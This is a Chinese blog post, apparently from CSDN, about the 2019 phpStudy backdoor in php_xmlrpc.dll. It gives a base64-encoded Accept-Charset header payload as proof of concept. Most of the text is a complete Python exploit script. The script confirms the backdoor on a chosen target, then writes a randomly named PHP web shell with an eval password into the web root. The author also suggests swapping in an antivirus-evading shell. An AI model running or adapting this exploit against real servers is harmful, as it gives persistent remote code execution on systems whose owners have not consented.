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phpstudy后门POC分析和EXP开发

作者:互联网

POC

2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发布声明进行澄清,其真实情况是该软件官网于2016年被非法入侵,程序包自带PHP的php_xmlrpc.dll模块被植入隐藏后门,可以正向执行任意php代码。

影响版本


后门存在于*\ext\php_xmlrpc.dll,用记事本打开搜索eval,如下图所示则又可能存在后门


抓包,添加Accept-charset,后面对rce进行base64加密

Accept-charset: c3lzdGVtKCJ3aG9hbWkiKTs=

注意修改Accept-Encoding: gzip,deflate,deflate前的空格需要删除


EXP

很自然的就能写出相应exp(github)

import base64
import random
import requests
import string
head={
    'Accept-Encoding':'gzip,deflate',
    'Accept-Charset':'c3lzdGVtKCJlY2hvIGhhaGExMjMiKTs=' # echo haha123
}

def get_standard_url(url):
    if url[:7] != "http://" or url[:8] != "https://":
        url = "http://"+url
        return url
    else:
        return False

def exp():
    head["Accept-Charset"] = "c3lzdGVtKCJjaGRpciIpOw==" # system("chdir")
    res1 = requests.get(url=url,headers=head,timeout=5,allow_redirects=False)
    path = str(res1.text.split("\n",1)[0]).strip()

    shell_name = ''.join(random.sample(string.ascii_letters+string.digits,8))
    key = ''.join(random.sample(string.ascii_letters+string.digits,4))

    exp = f"fputs(fopen('{path}\PHPTutorial\WWW\{shell_name}.php','w'),'<?php @eval($_POST[{key}]); ?>');"
    exp_encode = str(base64.b64encode(exp.encode('utf-8'))).split("'",2)[1]
    head['Accept-Charset'] = exp_encode
    requests.get(url=url, headers=head, timeout=5, allow_redirects=False)

    return f"[!] Shell_name={shell_name}.php, Key={key}"

if __name__=="__main__":
    url = input("[+] Target: ")
    url = get_standard_url(url)
    try:
        res = requests.get(url=url, headers=head, timeout=5, allow_redirects=False)
        if res.status_code == 200 and res.text[:7] == "haha123":
            print("[*] POC EXISTS.")
            print(exp())
        else:
            print("[-] POC NOT EXISTS.")
    except:
        print("[!] ERROR!\n")

注意,这里没有对shell做免杀,可把自己收藏的shell做外部导入替换

标签:head,exp,url,Accept,phpstudy,EXP,php,POC,string
来源: https://blog.csdn.net/qq_35664104/article/details/122675903